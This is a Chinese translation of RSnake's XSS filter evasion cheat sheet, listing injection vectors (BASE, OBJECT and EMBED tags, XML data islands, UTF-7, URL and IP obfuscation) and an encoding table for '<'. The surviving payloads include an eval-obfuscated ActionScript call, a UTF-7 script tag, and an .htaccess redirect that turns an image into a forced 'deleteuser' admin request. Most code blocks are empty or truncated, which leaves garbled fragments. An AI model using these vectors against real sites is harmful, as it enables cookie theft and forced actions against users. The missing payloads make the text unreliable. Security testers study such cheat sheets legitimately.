```
* * *
DIV expression
--------------
它的一个变体是更加有效的去绕过实际的xss过滤器是在冒号和表达式之间添加换行符。
```
```
* * *
html条件选择注释块
-----------
只能工作在IE5.0 以及更新版或是使用了ie渲染引擎的Netscape 8.1 。 一些网站认为任何包裹在注释中的内容都是安全的,因此并不会被移除。这将允许我们的xss向量。或者系统可能通过添加注释对某些内容去试图无害的渲染它。如我们所见,这有时并不起作用。
```
```
* * *
BASE标签
------
工作ie或是使用了安全模块的Netscape 8.1,你需要使用 "//" 斜体文本去避免javascript错误。这需要当前网站使用相对路径(例如images/image.jpg)而不是绝对路径。如果路径开始用一个斜杠(例如"/images/image.jpg"),你需要去掉xss向量中的一个斜杠(只有在两个斜杠的情况下才会起到注释作用)
```
```
* * *
OBJECT标签
--------
如果允许objects标签,你也可以注入病毒payloads去感染用户。类似于APPLET标签。这个链接文件是一个包含xss代码的html文件。
```
```
* * *
使用一个你可以载入包含有xss代码的flash文件的 EMBED 标签
-----------------------------------
点击这个demo,如果你加入属性allowScriptAccess="never" and allownetworking="internal"他可以缓解这个风险(谢谢Jonathan Vanasco 的这个信息)
```
```
* * *
使用在flash中的ActionScript可以混淆你的xss向量
---------------------------------
```
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
```
* * *
CDATA混淆的 XML数据岛
---------------
这个xss向量尽可以在IE 和使用了ie渲染引擎的 Netscape 8.1 下工作。它是 Sec Consult在审计雅虎时发现。
```
```
* * *
使用XML数据岛生成含有javascript代码的当前域xml文件
---------------------------------
它是相同的同上面仅仅代替XML文件为当前域文件。你可以看到结果在下面。
* * *
HTML+TIME 在XML中
---------------
它展示的 Grey Magic 是怎样攻击 Hotmail 和 Yahoo!的。它是仅仅可以工作在ie和使用了ie渲染引擎的Netscape 8.1。并且这段代码需要放在html域body标签之间。
```
">
```
* * *
简单的修改字符去绕过过滤器对 ".js"的过滤
-----------------------
你可以重命名你的javascript文件为一个图片作为xss向量
```
```
* * *
SSI (服务器端包含)
------------
这需要SSI被安装在服务器端去使用这个xss向量。但可能我并不需要提及这点,因为如果你可以运行命令在服务器端,那么毫无异味会有更加严重的问题存在。
```
```
* * *
PHP
---
需要php被安装在服务器端去使用这个xss向量。同样的,如果你可以运行恩任何远程脚本,那么将会有更加严重的问题。
```
echo('alert("XSS")'); ?>
```
* * *
嵌入命令的IMG
--------
它是工作于那些需要用户认证后才可以执行命令的当前域页面。它将可以创建删除用户(如果访问者是管理员),或是寄送某些凭证等等,虽然他是较少被使用但是是非常有用的。
```
```
* * *
嵌入命令的IMG II
-----------
这是更加的可怕因为并没有特别的标识符去使它看起开来可疑。除非不允许引入第三方域的图片。这个向量是使用一个 302 or 304(或其他可行方案)去重定向一个图片地址为带有某些命令的地址。因此一个正常的图片标签代码
可以是带有命令的xss向量。但是用户看到的仅仅是正常的图片链接地址。下面是一个.htaccess(apche下)配置文件去完成这个向量。(感谢Timo为这部分。)
```
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
```
* * *
Cookie篡改
--------
这是公认的不着边际,但是我已经发下一个例子是用
```
* * *
UTF-7编码
-------
如果存在xss的页面没有提供页面charset header,或是对于任何被设为UTF-7 的浏览器,我们可以利用下面的代码。(感谢Roman Ivanov 的提供),点击这儿为这个例子。(如果页面设置是自动识别编码且content-types 没有被覆盖,在ie浏览器或使用了IE渲染引擎的 Netscape 8.1,咋你不需要声明 charset )在没有改变编码的情况下它是不能工作在任何现代浏览器,这是为什么它被标记为完全不支持。Watchfire发现这个漏洞在Google's 自定义 404 脚本中.
```
+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
```
* * *
使用HTML 引用封装的xss
---------------
他是被测试在ie,具体因情况而异。它是为了绕过那些可以输入 "
```
另一个逃避相同正则 "/
```
这是另一个xss例子去绕过相同的过滤器,关于"/
```
最后一个绕过"/
```
这个xss例子押注域哪些正则并不去拼配一对引号,而是去发现任何引号后就立即结束参数字符串。
```
```
这xss仍然让我担心,因为他是几乎没有肯呢过去停止在没有阻止活动内容的情况下。
```
PT SRC="http://ha.ckers.org/xss.js">
```
URL 字符串绕过
---------
这里假设 "http://www.google.com/" 这种在语法上是不被允许的。
**IP代替域名**
```
XSS
```
**URL 编码**
```
XSS
```
**双字节编码**(注意:有其他的双字节编码变种。请参考下面混淆后的ip为更多信息)
```
XSS
```
**十六进制编码**The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit,因为十六进制数实在0-f之间,因此第三位开头的0可以被省略掉。
```
XSS
```
**八进制编码**Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:
```
XSS
```
**混合编码**让我们混合基本编码并且插入一个tab和换行符。为什么浏览器允许这样,我是不知道。但是它是可以工作当它们被包含在引号之间。
```
XSS
```
**协议绕过**“//”代替“http:// ” 可以节省更多字符。这是非常有用的当输入空间是有限的时候。两个字符可能解决大问题。也是容易绕过像"(ht|f)tp(s)?://" 这样的正则过滤。(感谢 Ozh 提出这部分)。你也可以改变//" 为 "\"。你需要保持斜杠在适当的地方。否则可能会被当作一个相对路径的url。
```
XSS
```
**Google "feeling lucky" I**Firefox 使用 Google的"feeling lucky" 函数去重定向用户输入的任何关键字。因此你可以在可利用页面使用任何关键字针对任何Firefox用户。它是使用了"keyword:" 协议。你可以使用多个关键字像下面的例子:XSS+RSnake。它是无法使用在 Firefox as of 2.0。
```
XSS
```
**Google "feeling lucky" II**这是使用一个小技巧让他工作在Firefox,因为只有它实现了 "feeling lucky" 函数。不像下一个例子,它是无法工作在 Opera ,由于 Opera认为它是一种老的钓鱼攻击。它是一个简单的畸形url。如果你点击弹出框的确定按钮它将工作。但是由于这是一个错误对话框,我是说Opera是不支持它。它也不再被支持在 Firefox 2.0。
```
XSS
```
**Google "feeling lucky" III**它是通过畸形url来工作在Firefox 和 Opera浏览器。因为只有他们实现了 "feeling lucky" 函数。像上面的例子一样,它们需要你的网站在谷歌搜索中排名第一。(例如google)
```
XSS
```
**移除别名**结合上面的url。移除 "www." 将节省四个字符。
```
XSS
```
**绝对 DNS用额外的点**
```
XSS
```
**JavaScript link location**
```
XSS
```
**针对内容替换的攻击向量**假设 "http://www.google.com/" 会被替换为空。我确实使用了一个简单的攻击向量去针对特殊文字过滤依靠过滤器本身。这是一个例子去帮助创建向量。(IE: "java script:" 被替换为"java script:", 它是仍可以工作在 IE,使用安全模块的 Netscape 8.1+ 和 Opera)
```
XSS
```
* * *
字符编码表
-----
再付 "<" 在html或是javascript中所有可能的编码形式。它们绝大多数是无法正常渲染的,但是可以在上文中某些情景下得到渲染。
```
<
%3C
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
\x3c
\x3C
\u003c
\u003C
```
* * *
字符编码和ip混淆器
----------
下面地址中包含了在xss有用的各种基本转换器。 http://ha.ckers.org/xsscalc.html
* * *
作者和主编
-----
Robert "RSnake" Hansen
* * *
翻译
--
老道